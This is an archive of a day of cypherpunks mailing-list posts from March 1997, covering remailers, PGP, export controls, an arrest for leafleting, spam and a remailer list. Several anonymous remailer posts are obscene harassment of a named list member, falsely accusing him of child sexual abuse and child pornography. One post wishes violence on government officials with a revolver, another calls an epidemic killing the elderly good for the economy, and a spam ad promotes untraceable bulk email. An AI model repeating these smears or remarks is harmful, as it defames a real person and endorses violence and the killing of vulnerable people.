From: dthorn at gte.net (Dale Thorn)
Date: Sun, 16 Mar 1997 10:04:33 -0800 (PST)
Subject: (fwd) CarlMStarrsimulationExperiment
In-Reply-To: <199703160038.SAA17546@galaxy.galstar.com>
Message-ID: <332C2A63.2DA7@gte.net>


Igor Chudov wrote:

> joe was pulled off a major drug case
> in the wiretapping of my phone i expect a jealous
> husband to tap my phone on in gardner ks on
[snip]
> No, the above was NOT written by me, nor by carl starrs. It was generated
> by a perl script, which emulates writing styles of different people.
> The way it does it is by keeping track of pairs of words and their most
> frequently used subsequent words. It reads articles (or any text really)
> written by the target person, builds the style tables, and then geenrates
> the "most likely" text.
> Carl starrs was a good target for two reasons, one of which is that he
> does not use punctuation.

Graham-John whoever also did not use punctuation in his sentences.
One could argue that they were too brief, however, proper English
would have dictated a comma here and there.







From dthorn at gte.net  Sun Mar 16 10:04:40 1997
From: dthorn at gte.net (Dale Thorn)
Date: Sun, 16 Mar 1997 10:04:40 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <332C34D6.1211@gte.net>


Toto wrote:
> I will always remember reading a magazine piece by a fellow who
> described the increasing persecution of the Jews in Nazi Germany,
> and the abuses to which he was himself subjected.
> However, when describing the night when the jackboots kicked in
> his door to take his family to the death camps, he begins his
> account by saying, "They came without warning..."

Gosh, I feel bad whipping on one of the old/reliable/reputable
posters here, but, this seems to perfectly describe one T.C. May
and how he just couldn't believe what Sandy was doing, or that
Sandy would consider the c-punks' reputation to be expendable.

> > Check out the stiff who's pictured with Phil in the MicroTimes
> > current issue, his new partner or something.  Phil looks happy,
> > like they gave him a lifetime supply of double-stuff Oreos.

> Are both of Phil's partner's arms in plain view, or is his partner
> perhaps holding a gun on him?

I think someone else has a gun on both of them.  The "partner" is
wearing a badly-composed grin, but then he may have been pulled out
of the closet at the last moment for the photo, and the light could
be bothering him.

> I agree with TruthMonger's position that the very fact of extreme
> pressure being applied should be grounds for considering that perhaps
> PGP might have been compromised at some level, no matter what an
> analysis of the "numbers" shows, or one's faith in Philly Z.

Not only the software, but folks get lulled into complacency with
the "new, distributed" lists, thinking that since Gilmore/Sandfort
are "gone", everything is going to be OK from now on.

> There seems to be some weakly thought out definition of 'paranoia'
> going around which deems it to be the feeling you are supposed to get
> when you hear the sound of the jackboots on your door. Excuse me for
> disagreeing, but I believe the proper feeling at that point in time
> may be resignation to your own death (and a firm resolve not to go
> 'alone' into that dark night).

I have a Sid Vicious t-shirt that says "never let them take you
alive".  I really enjoyed the story of the Warsaw ghetto uprising
when I first heard it, and whereas Sid and the Warsaw dwellers are
from a different time and mindset, I think us modern folks can draw
the appropriate analogies.

> Or, if your door is strong enough, you might have one last chance
> to play "Hide the Salami" with Lady Byrd.

A gun in one hand and a babe in the other - what a privelege to be
an American!!  BTW, I saw an all-stainless Colt King Cobra .357
in a pawn shop the other day for $475.  Clean as a whistle.  I
snatched that puppy up real quick.  It would be my dying wish
to have some otherwise faceless bureaucrat be the recipient of
its intended use, should it come to that.

> Someone suggested to me, in private email, that they would suspect
> TruthMonger to be a Toto testicle, except for the lack of humor in
> any of his posts. However, I couldn't help but notice that TruthMonger's
> original post in this thread was a reply to a request for information in
> regard to "Anonymous Nymserver at anon.nymserver.com", and a request for
> an opinion as to the competence and integrity of those involved in its operation.

Exactly.  Now who would be taking an option on throwaways like that?

> Neither could I help noticing that TruthMonger's reply, which had
> mercilessly slammed both the integrity and motivations behind all
> remailer operations, and which suggested that one unequivocally mistrust
> all of them, was sent from the very anon-server in question.
> Make of this what you will, but bear in mind that Hypocrisy and
> Humor are not all that far apart in the dictionary.

[hee hee hee]






From shiftcontrol at nml.guardian.co.uk  Sun Mar 16 10:15:42 1997
From: shiftcontrol at nml.guardian.co.uk (Shift Control)
Date: Sun, 16 Mar 1997 10:15:42 -0800 (PST)
Subject: Stereotypes and other Shenanigans
Message-ID: <v0153052eaf4df659ff69@[194.205.4.69]>


Ireland. The land of the little people; the Emerald Isle of Yeatsian
yearning and pastoral simplicity; a Celtic oasis free from the madness of
modern life. As if.

This week we present the Oirish issue of Shift Control, inspired not so
much by St Patrick's Day as by the clich�s enveloping it.

Our Hibernian hypertour starts with a look at 10 Legends of Blarneyland, an
examination of  fables and stereotypes that takes the 'pub' out of
'Republic' and identifies the myths in the mist. Following this, Connor
O'Conn, one of the great Conns of Irish letters, casts his sceptical eye
over 10 Irish literary masterpieces. And in Shamrock 'n' Roll Nicholas
Allen tunes his ear to Irish contributions to the world of pop music, from
Daniel O'Donnell to Boyzone.

Our quiz this week asks how wild you are about Wilde, and in Around the
Word we bung 'Cork' into the search engines.

Also this week: a man gets high on skis, hygiene-freaks get a mouthful of
foam, Kate Spicer gets drunk, and you get a chance to win books, CDs, fame,
and �200.

And finally Freebee, our animated bee and pop historian, presents a new
chapter of his memoirs and lets you send another animated online postcard.

It's all yours, it's all free, and it's all at
http://www.shiftcontrol.com

Cheers,

The Shift Control Team

Shift Control is produced by the Guardian's New Media Lab with help from
Boddingtons and Stella Artois Dry







From ichudov at algebra.com  Sun Mar 16 10:51:14 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sun, 16 Mar 1997 10:51:14 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <332C34D6.1211@gte.net>
Message-ID: <199703161847.MAA04824@manifold.algebra.com>


Dale Thorn wrote:
> 
> A gun in one hand and a babe in the other - what a privelege to be
> an American!!  BTW, I saw an all-stainless Colt King Cobra .357
> in a pawn shop the other day for $475.  Clean as a whistle.  I
> snatched that puppy up real quick.  It would be my dying wish
> to have some otherwise faceless bureaucrat be the recipient of
> its intended use, should it come to that.

Sounds kinda expensive. What kind of gun is that? 

	- Igor.





From rwright at adnetsol.com  Sun Mar 16 11:04:27 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Sun, 16 Mar 1997 11:04:27 -0800 (PST)
Subject: No Subject
Message-ID: <199703161904.LAA19941@adnetsol.adnetsol.com>



=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From haystack at holy.cow.net  Sun Mar 16 11:21:47 1997
From: haystack at holy.cow.net (Bovine Remailer)
Date: Sun, 16 Mar 1997 11:21:47 -0800 (PST)
Subject: No Subject
Message-ID: <199703161920.OAA18964@holy.cow.net>


Timmy C[unt] Maytag is not only as queer as a 
three dollar bill, but he is also into having 
sex with children.

      \\///
      |O O| Timmy C[unt] Maytag
      | ( |
      |_ at _|
        H






From jya at pipeline.com  Sun Mar 16 12:46:19 1997
From: jya at pipeline.com (John Young)
Date: Sun, 16 Mar 1997 12:46:19 -0800 (PST)
Subject: BAD_gyz
Message-ID: <1.5.4.32.19970316203851.006c4ffc@pop.pipeline.com>


TWP writes Page Oner on the FBI's computer upgrade
snafu for NCIC and national fingerprint info on demand, 
with multi-millions in overruns and mismanagement. 
It says that as a result Congress has refused initial $100m 
for digital wiretap and will not release funds until the feebies 
show technological and managerial competence.

Freeh and Gorelick claim they were misled on costs of the
upgrades by underlings. However, a feebie says that the 
budgets were deliberately under-priced to get approval, and
that everyone knew more would be needed. 

The implication is that $500 million is too low for DTA, but
that Congress thinks its way too high for bumblers.

-----

BAD_gyz






From pgut001 at cs.auckland.ac.nz  Sun Mar 16 14:30:28 1997
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Sun, 16 Mar 1997 14:30:28 -0800 (PST)
Subject: Wassenaar Arrangement and "sensitive dual-use items"
Message-ID: <85855141610654@cs26.cs.auckland.ac.nz>


>In my far memory, it was about 50-70 pages.  It seems to
>be a digest or a boneless version.

There are two separate documents here which people are getting confused.  The
first is the text of the Wassenaar arrangement, which is quite short and (as
described by one person who's seen it) "consists of a lot of weasel words".
The second is the one which sets down what is controlled.  This is rather
lengthy, around 100 pages.  The EAR changes which were made in the US contains
some of the text of this document, which predates Wassenaar and is just the
older COCOM text under a new title.  The COCOM text originates from the US, 
and some of the countries still have versions with US spellings even though 
the countries use proper :-) Englishm which indicates its origins.

Peter.






From postmaster at abraxis.com  Sun Mar 16 14:50:18 1997
From: postmaster at abraxis.com (NTMail)
Date: Sun, 16 Mar 1997 14:50:18 -0800 (PST)
Subject: Failed mail
Message-ID: <ja227327.mbx>


---------------------------------------------------------------------
Re: Message to debbi at astrobiz.com

This message has not been delivered after 12 hours.
Therefore it is being returned to you.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.60] by smtp1.abraxis.com (NTMail 3.01.03) id ja227327; Tue, 11 Mar 1997 13:03:21 -0500
>Subject: time dangers and tenure
>kept to
>Date: Tue, 11 Mar 1997 13:03:20 -0500
>Message-Id: <18032091800564 at abraxis.com>
>
>punishment many
>and
>
>fundamentally and works
>captive.  to in a
>them inevitably
>
>of these
>between do lives Feb
>Inc and.  your
>
>resume
>Services important if write
>Years INFORMATION Area Name
>
>.





From dlv at bwalk.dm.com  Sun Mar 16 18:00:10 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 18:00:10 -0800 (PST)
Subject: Threat Model: Biowar
In-Reply-To: <332C222D.423E@gte.net>
Message-ID: <2HTo4D6w165w@bwalk.dm.com>


Dale Thorn <dthorn at gte.net> writes:

> Anonymous wrote:
> > Highly contagious airborne diseases are known to exist.  Germ warfare
> > laboratories are also known to exist.  The owners of these labs will
> > do anything to get and keep power.
> > The Internet and crypto-anarchy threatens those who currently have
> > power.  How will they respond?
> > One response would be a biowarfare attack on the civilian population.
>
> [snip]
>
> Biowar attacks (unless giant-scale, intended to kill millions)
> mainly affect the already-sick, very old, and very weak members
> of the population.  This is, of course, a favored plan for fascist
> persons such as the woman who founded Planned Parenthood, George
> Bush, the Harrimans, Shockley, etc., but nearly useless to target
> dissidents and "crypto anarchists".

If medicare or social security get too expensive, an epidemic targeting
the elderly would be good for the economy. I did a little work with
(biological) viruses under the late Lou Auslander and the technology
available 12 years ago was pretty amazing. I'm sure they can do more now.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From real at freenet.edmonton.ab.ca  Sun Mar 16 18:06:02 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 16 Mar 1997 18:06:02 -0800 (PST)
Subject: your mail
In-Reply-To: <199703161920.OAA18964@holy.cow.net>
Message-ID: <Pine.A41.3.95.970316190258.111362B-100000@fn2.freenet.edmonton.ab.ca>


On Sun, 16 Mar 1997, Bovine Remailer wrote:



This is from the mind of Vulis.

> Date: Sun, 16 Mar 1997 14:20:05 -0500 (EST)
> From: Bovine Remailer <haystack at holy.cow.net>
> To: cypherpunks at toad.com
> 
> Timmy C[unt] Maytag is not only as queer as a 
> three dollar bill, but he is also into having 
> sex with children.
> 
>       \\///
>       |O O| Timmy C[unt] Maytag
>       | ( |
>       |_ at _|
>         H
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From bdolan at USIT.NET  Sun Mar 16 18:49:20 1997
From: bdolan at USIT.NET (Brad Dolan)
Date: Sun, 16 Mar 1997 18:49:20 -0800 (PST)
Subject: Arrested for handing out leaflets about the 1st Amendment  (fwd)
Message-ID: <Pine.GSO.3.95.970316214828.16951F-100000@use.usit.net>




---------- Forwarded message ----------


From: ARTISTpres at aol.com

I Was Arrested 
For Handing Out a Leaflet
about the First Amendment
by Robert Lederman

On March 10th and 11th, 1997 eight members of A.R.T.I.S.T. and I
drove to Washington, D.C. from New York to hand out leaflets about
a Supreme Court case in which we are plaintiffs. Our case involves
the right of artists to sell paintings, sculptures and other works of
fine art on the street without a license, based on freedom of speech.
We'd each been arrested numerous times for selling our art and had
recently won a favorable decision in the 2nd circuit Federal Appeals
Court. Now New York City was appealing that decision to the U.S.
Supreme Court. Legal briefs filed by the City claim that art does not
express ideas and is unworthy of full First Amendment protection.

On the 10th and 11th, thousands of museum directors, arts attorneys,
curators and heads of cultural institutions were in Washington for
Arts Advocacy Day. It was an opportunity to reach influential people
who'd be directly affected by the outcome of our case. We planned to
quietly stand on the public sidewalk outside Art Advocacy Day events
and give out leaflets describing the Supreme Court appeal and the
issue of artists' First Amendment rights. 

Everywhere we went in D.C. the police said we needed a permit to
hand out even one leaflet and threatened us with arrest. They also
claimed that even if we had a permit we would not be able to hand out
literature in front of the event locations because they were Federal
property. After explaining what we were doing and the subject of the
leaflet, we continued to give out our literature while the police
threatened us with arrest and conferred with supervisors and city
attorneys about handling the situation.

Our literature distribution efforts were successful. By the end of the
two days we'd managed to contact most of the Art Advocacy Day
participants in D.C. We decided to make one final stop in front of the
U.S. Capitol to create a few paintings as a visual statement about free
expression. Many of the art advocates were inside the Capitol
building meeting with members of Congress. 

While the other artists painted I stood on the public sidewalk in front
of the Capitol with a handful of literature. Everywhere around me
were tourists and elected officials posing with lobbyists from various
corporations and special interests. Before handing out a single leaflet
I was approached by a sergeant from the Capitol Hill Police who
explained that giving out literature was forbidden, but that I could
apply for a permit which, if granted, would give me the right to
demonstrate about 300 feet from the building in an isolated area. I
explained to the officer that I'd be leaving D.C. in an hour, that I was
not demonstrating, and that the First Amendment protected my right
to quietly hand out a leaflet on a public sidewalk without a permit. He
agreed that it probably did but informed me that I'd be arrested if I
continued.

In New York City I've been arrested 13 times for selling my paintings
on the street, for making a speech, for protesting and for distributing
literature about artists' rights. Although generally cooperative with
the police and willing to comply with reasonable demands, I draw the
line at being told I can't give away free literature on a public
sidewalk.

I explained my position to the officer and to the various Metro D.C.,
Federal undercover and Capitol Hill Police that eventually gathered
around me. Meanwhile, members of Congress and well dressed
lobbyists continued to exchange business cards, pose for photos and
discuss issues on the same sidewalk where I stood with the police. 

A warning was issued that if I handed out one more leaflet I'd be
arrested. A man wearing an Arts Advocacy pin walked by and asked
what I was giving out. I explained that I couldn't give him a leaflet
without being arrested but that he could take one from the pile in my
hand. When he did I was handcuffed and led to a waiting police car.
Above, a uniformed man with a machine gun watched from the roof.

I was transported and booked into two separate police stations,
repeatedly searched and charged with demonstrating without a permit.
Federal intelligence officers interviewed me to determine if I was a
terrorist. They asked questions about my political agenda, studied my
leaflets and eventually agreed that what I did was probably protected
by the First Amendment. I'll be standing trial in D.C. Superior Court
on June 9th and face a $350 dollar fine and 90 days in jail. All of my
property was returned except the leaflets, which are being held as
evidence of my crime.

After posting bail I was released and returned to the Capitol building
grounds to tell reporters there what had occurred. "Oh well, there's
nothing we can do", one said. "We're constantly being threatened
with arrest here ourselves".

I'll be going back to D.C. in June to stand trial. Meanwhile I'm
looking for an attorney and writing a new leaflet about free speech
and freedom of the press to give out at the Capitol. 

For information on the street artist Federal lawsuit or A.R.T.I.S.T.
(Artists' Response To Illegal State Tactics) visit the A.R.T.I.S.T.
web page at:
http://www.openair.org/alerts/artist/nyc.html or
contact Robert Lederman, artistpres at aol.com (718)
369-2111 or (212) 334-4327 Press kits, photos of this
and other arrests are available.



--
<HTML><A HREF="http://www.eff.org/~mech">     Stanton McCandlish
</A><HR><A HREF="mailto:mech at eff.org">        mech at eff.org
</A><P><A HREF="http://www.eff.org">          Electronic Frontier Foundation
</A><P>      Program Director    </HTML>








From site_admin at online.disney.com  Sun Mar 16 20:07:10 1997
From: site_admin at online.disney.com (Disney Online)
Date: Sun, 16 Mar 1997 20:07:10 -0800 (PST)
Subject: Registration System Upgrade
Message-ID: <199703170409.UAA18363@postino.disney.com>


Dear Disney.com Guest:

Disney.com is about to improve its Guest Registration 
system.  Unfortunately, your personalized Disney.com 
Registration name is currently set to expire during the 
upgrade process.

You may prevent this from happening. If you wish to keep 
your current Disney.com Registration name and Password, all 
you need to do is update them by March 24.  Once you do, 
you'll remain eligible to enter all our contests and 
sweepstakes and continue receiving e-mail updates on what's 
new from Disney.

It's easy to update your Registration info!  Simply cut and 
paste (or copy) the following URL into your browser's 
"Address" or "Go To:" window:

  http://www.disney.com/Survey/ddc_registration/update.html

At the top of the Registration page, please type your 
Registration name and Password in the appropriate spaces. 
Then click the "Update my Registration" button and your 
information will be updated automatically.


Of course, if you don't update your Registration now, 
you'll still be able to enter contests at Disney.com any 
time after March 24 -- you simply won't be guaranteed your 
original Registration name and Password and you may have to 
register again.

We apologize for the inconvenience, and we thank you for 
visiting Disney.com!

Your friends at Disney.com



(c) Disney.  All rights reserved.








From dlv at bwalk.dm.com  Sun Mar 16 20:56:43 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 20:56:43 -0800 (PST)
Subject: An interesting spam item on applications of anonymity
In-Reply-To: <199703161444.GAA01114@switzerland.it.earthlink.net>
Message-ID: <H2To4D7w165w@bwalk.dm.com>


I found an interesting piece of spam:

From: friend at your.friend.com (Your Friend)
Subject: A Moment of Your Time Please
Date: 16 Mar 1997 16:34:00 -0500

If this message is unwelcome, please delete it.
You will not receive another from me.

Dear online marketer,

I have GREAT NEWS FOR ALL BULK EMAILERS and everyone who
markets a product or service online.

                  No more FLAMES

No more getting kicked off your ISP for bulk emailing

No more need to have a THROWAWAY ACCOUNT

No more need for a BULK EMAIL FRIENDLY ISP


This new ADVANCE software is designed to ELIMINATE all the above
and keep you FOCUSED on making money online.

This software was designed to work with NETCONTACT & FLOODGATE.

                 A must have for all bulk emailer.

                 It's Every bulk emailer's dream!

I used to have the usage of a virtual provider "Earthstar" and
one morning to my surprise their wires had been disconnected by
the telephone Company. I could no longer send out E-mail without
being identified by the receiver of the E-mail and reported to
my ISP and perhaps kicked off of my local provider. Then I ran
across the coolest software that would assist me in sending E-mail
and not being identified by anyone. Whether you live in a country
that doesn't allow you to use free speech, your shy and want to
send an anonymous love poem to someone, you want to advertise your
product without losing your ISP account, or you just want to flame
your boss without anyone knowing, then you may need the E-mail
Cloaking Device. This 32 bit shareware program enables you to send
anonymous correspondence all over the world.

If you would like to receive a free demo copy of this great software,
go to the Register page.  Fill it out and put TRG Associates as your Sales Rep.

go to the Register Page: http://www.hootowl.com/cloak/registerJ.htm

And then  GO TO: http://www.hootowl.com/cloak/emailJ.htm

and download the demo version of Email Cloaking Device (ECD). It will
allows you to e-mail up to 5 e-mails at a time. If you decide you want to
e-mail more at one time, you can order the commercial version by
sending your name, address, e-mail address and a money order for $299.95

		To:  	TRG Associates
			P. O. Box 337
			Greenville, TX 75403-0337
			Phone 903-450-8809

The commercial version has no restriction on how many people you can
send a message too at once. Also, the annoying message box that tells
you of each message sent has been taken out so that you can push one
button, walk away from your computer and send thousands of messages
at a time.  Also a very important point, we use this software and know how
to use it and can offer you technical support.

Good luck and may your next bulk e-mailing make you a million.

Your Friend :-)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If you would like to remove ALL e-mail you consider
junk then go to: http://catalog.com/tsw/efilter/ and download
this program. It will do the repelling job for you automatically.
Is this a great time to be alive or what?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From dthorn at gte.net  Sun Mar 16 23:14:36 1997
From: dthorn at gte.net (Dale Thorn)
Date: Sun, 16 Mar 1997 23:14:36 -0800 (PST)
Subject: Threat Model: Biowar
In-Reply-To: <2HTo4D6w165w@bwalk.dm.com>
Message-ID: <332CAFF0.1AD@gte.net>


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn at gte.net> writes:
> > Biowar attacks (unless giant-scale, intended to kill millions)
> > mainly affect the already-sick, very old, and very weak members
> > of the population.  This is, of course, a favored plan for fascist
> > persons such as the woman who founded Planned Parenthood, George
> > Bush, the Harrimans, Shockley, etc., but nearly useless to target
> > dissidents and "crypto anarchists".

> If medicare or social security get too expensive, an epidemic targeting
> the elderly would be good for the economy. I did a little work with
> (biological) viruses under the late Lou Auslander and the technology
> available 12 years ago was pretty amazing. I'm sure they can do more now.

The analogies from bio-viruses to computer equivalents is interesting
in a crypto-anarchic context.  Be nice to hear more on this.







From dthorn at gte.net  Sun Mar 16 23:14:56 1997
From: dthorn at gte.net (Dale Thorn)
Date: Sun, 16 Mar 1997 23:14:56 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703161847.MAA04824@manifold.algebra.com>
Message-ID: <332CB246.297D@gte.net>


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > A gun in one hand and a babe in the other - what a privelege to be
> > an American!!  BTW, I saw an all-stainless Colt King Cobra .357
> > in a pawn shop the other day for $475.  Clean as a whistle.  I
> > snatched that puppy up real quick.  It would be my dying wish
> > to have some otherwise faceless bureaucrat be the recipient of
> > its intended use, should it come to that.

> Sounds kinda expensive. What kind of gun is that?

I hadn't shopped for a gun in 10 years, and the only high-quality
Colt revolver I knew of then was the Python, which was $675 new
in 1986.  I'm sure the equivalent today would be $1200 or more,
so I thought the Cobra at $475 used was a good deal.  I assume
the Cobra is equivalent to the Python, it sure looks and feels
like it.  If you're familiar with these things, you can tell a
lot just by pulling the trigger and "feeling" the action.







From sergey at el.net  Mon Mar 17 00:06:41 1997
From: sergey at el.net (Sergey Goldgaber)
Date: Mon, 17 Mar 1997 00:06:41 -0800 (PST)
Subject: Dark Fiber Redux
In-Reply-To: <v03020900af51a5634a2b@[204.179.136.89]>
Message-ID: <Pine.LNX.3.95.970317025954.144I-100000@void.el.net>


On Sun, 16 Mar 1997, Robert Hettinga wrote:

-> In theory, at least, everyone gets a color, or frequency, and they listen
-> on that frequency for their inbound stuff. If you want to send someone
-> something, you literally tune them in and send it. Actually, I see these
-> frequencies using CDMA carrier waves when it eventually happens, but you
-> get the idea.

Wouldn't spread-spectrum have many advantages over the assigned frequency
scheme?


 ............................................................................
 . Sergey Goldgaber <sergey at el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From Wealth-Builder at TeamWealth-II.net  Mon Mar 17 00:24:29 1997
From: Wealth-Builder at TeamWealth-II.net (Wealth-Builder at TeamWealth-II.net)
Date: Mon, 17 Mar 1997 00:24:29 -0800 (PST)
Subject: Hello
Message-ID: <3.0.1.32.19970316205844.006ad67c@TeamWealth-II.net>




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From lucifer at dhp.com  Mon Mar 17 02:08:18 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 17 Mar 1997 02:08:18 -0800 (PST)
Subject: Diffie-Hellman
Message-ID: <199703171008.FAA13401@dhp.com>


Warning: if you fuck Timmy C[unt] May in the ass, a rabid tapeworm might bite 
your penis.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- Timmy C[unt] May






From darthvdr at fascination.com  Mon Mar 17 03:30:54 1997
From: darthvdr at fascination.com (leave blank)
Date: Mon, 17 Mar 1997 03:30:54 -0800 (PST)
Subject: No Subject
Message-ID: <199703171133.EAA06232@fascination.com>


l3T m3 0n +h3 l12+!!
The time to think about the world is now!
	I am by far not even close to an environmentalist. In fact I hate those 
types but they do have one point . . .  pollution! Pollution in corporate 
America is what kill more men than AIDS. You have to slow this. You are the 
outraged youth and YOU are the Future! Get your head out of your ass and 
learn all you can. We cannot fight the genocide that is happening in our 
world if we cannot prove it is going on. Search and you will find these 
evils. The information generation is here, without it all of man kind could 
die by the year 2050. I may not be here to suffer the agonizing death that 
awaits but guess what . . .  you will. We can only save this world by 
connecting and spreading the word. Corporations are prepared to exterminate 
us all and retire to their own little world. They fed us all with lies about 
how they are concerned but in reality they are planning for it. They are 
stashing food and supplies all over the world for their own version of 
doomsday. The big businesses will build an empire of technology around you 
and slowly kill you. They will have the world to them selves at no means. 
With you dieing in the streets of a toxic overload they will sit back in 
their hideaways enjoying the rest of their lives! You can stop them and only 
you. Expose their secrets. Find the proof we need to wipe them out for good! 
Or you all will die in their dream world! What I am shooting to you in so 
many words is that the world needs hackers to find out what is going on 
behind our backs. I am saying that the masses need to know what the rich ass 
holes in their little dream world want to do with us. How would you like to 
wake up one morning and everyone in the world is dead? This is what hackers 
need to stop. We the people of the world need to stop all of this shit! 
Technology is a force witch the United States Totalitarian government must 
deal with. Everyone exposes the truths they hide from the people who live 
here! No longer can a police officer kill a man in cold blood and pretend 
that it never happened. The age of computers and mass media expose the hard 
core facts of the governments' brutal murders and deadly tempers. So what 
has happened to this world which they control us and beat us into their 
beliefs? The truth is that we have discovered "Big Brothers" little tricks! 
We are the truth of tomorrow! We see what the fascists of American 
government do when they plan to kill those who appose them. People like you 
and me tell those who will expose these truths to the citizens of our 
country. We serve our prison time for exposing these truths but hell. There 
is not even as many of them to kill us all as we are the world. Please 
understand that there is much in this world you do not yet know, the murders 
that have happened and the killing that will come. The time to think about 
this is now! You are sitting at a cross roads of life with the age of world 
freedom at your finger tips. What are you going to do about it? Learn about 
the world around you! Peep into their private little lives! I am not afraid 
of them, they must frame me for any thing they could ever arrest me for! 
They are stupid that way, but you can take the knowledge that you see and 
stop the killing! You can support the abolishment of the forming of the New 
World Order! Simply use your knowledge to see what is up! Expose this 
information to whoever can use it. Let everyone in the world know what is 
going on. People in our government hate us. Have you ever asked your self 
why? I will tell you why our government hates you. The truth is that you are 
young and smarter at twenty and twenty-one then they will ever be. You know 
information that they were hidden from. Are you tired of being called the 
problem with the world? Clinton calls us the problem, The Republicans all 
call us the problem, Dole called us "the only problem" WHY? We are smarter 
then them! That is all they are complaining about! I mean they are afraid of 
us all. They increase the fear of technology every day by printing evil 
headlines about "invasion of privacy" and thefts! These stories are mostly 
fiction! The real hackers do not care about the private sector . . .  well 
they do but not to "steal" from them. The truth in it all is that anarchist 
computer users are only interested in information. Public people do not have 
this information and there for are not in danger! That is what we all need 
to explain to everyone. That is what all of the world should know. So why do 
people fear us? It is big business that is afraid. They have secrets that 
the people of the world CANNOT know! They are evil in so many ways it makes 
people sick. We expose these secrets! That is why they fear us! The 
corporations of the world do not want people to be free. They want you all 
to be stupid and to live in fear. They distort the truth of reality. Big 
businesses are trying to rule the world and fear us of exposing that! They 
create propaganda against us, and lie about us to the public. They have us 
arrested and thrown in jail for exposing their secrets to the world. 
However, together we can all stop them! To organize and inform these evils. 
To break down these lies and start a world of passing truths! You have never 
seen the world behind what these corporations show you. Do you want to? The 
truth is that this is the ugliest world in any ones' mind. All you have to 
do is look for it. When you see the ugliness then you must show it around. 
Give a glimpse of this evil to everyone in the world. Collapse what is wrong 
and there will be the entire earth to thank you for their lives.






From mixmaster at remail.obscura.com  Mon Mar 17 03:32:22 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 17 Mar 1997 03:32:22 -0800 (PST)
Subject: No Subject
Message-ID: <199703170930.BAA00616@sirius.infonex.com>


Timmy C[retin] Mayo's obsessive masturbation has lead to 
advanced degree of blindness and hairy palms.

              __MMM__
               (o o)
         -ooO---(=)---Ooo- Timmy C[retin] Mayo






From mixmaster at remail.obscura.com  Mon Mar 17 04:11:42 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 17 Mar 1997 04:11:42 -0800 (PST)
Subject: No Subject
Message-ID: <199703171056.CAA18972@sirius.infonex.com>


Embedded in Timmy C. May's babblings are preposterous lies, 
wild distortions, child pornography (both as graphic 
descriptions and in JPEG format), ethnic slurs, and racial 
epithets.

    /o)\ Timmy C. May
    \(o/






From jya at pipeline.com  Mon Mar 17 05:19:55 1997
From: jya at pipeline.com (John Young)
Date: Mon, 17 Mar 1997 05:19:55 -0800 (PST)
Subject: MIR_ror
Message-ID: <1.5.4.32.19970317131226.0073a4dc@pop.pipeline.com>


3-17-97:

NYP reports on "white-hat" hackers who work for IBM 
and the like, breaking into corporate systems, testing
insecurity

   "It's hard to find good people in this field who do
   not have criminal records."

Like the NatSec gang -- Shimomuras using secret tech
to chase Mitnicks for the king's coin, praying the infowar 
smoke and mirrors never end, hoping they're on the winning
side of the looking glass.

-----

MIR_ror






From raph at CS.Berkeley.EDU  Mon Mar 17 06:50:44 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 17 Mar 1997 06:50:44 -0800 (PST)
Subject: List of reliable remailers
Message-ID: <199703171450.GAA13996@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail at miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster at remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer at replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer at remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack at holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer at dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer at cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock at rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
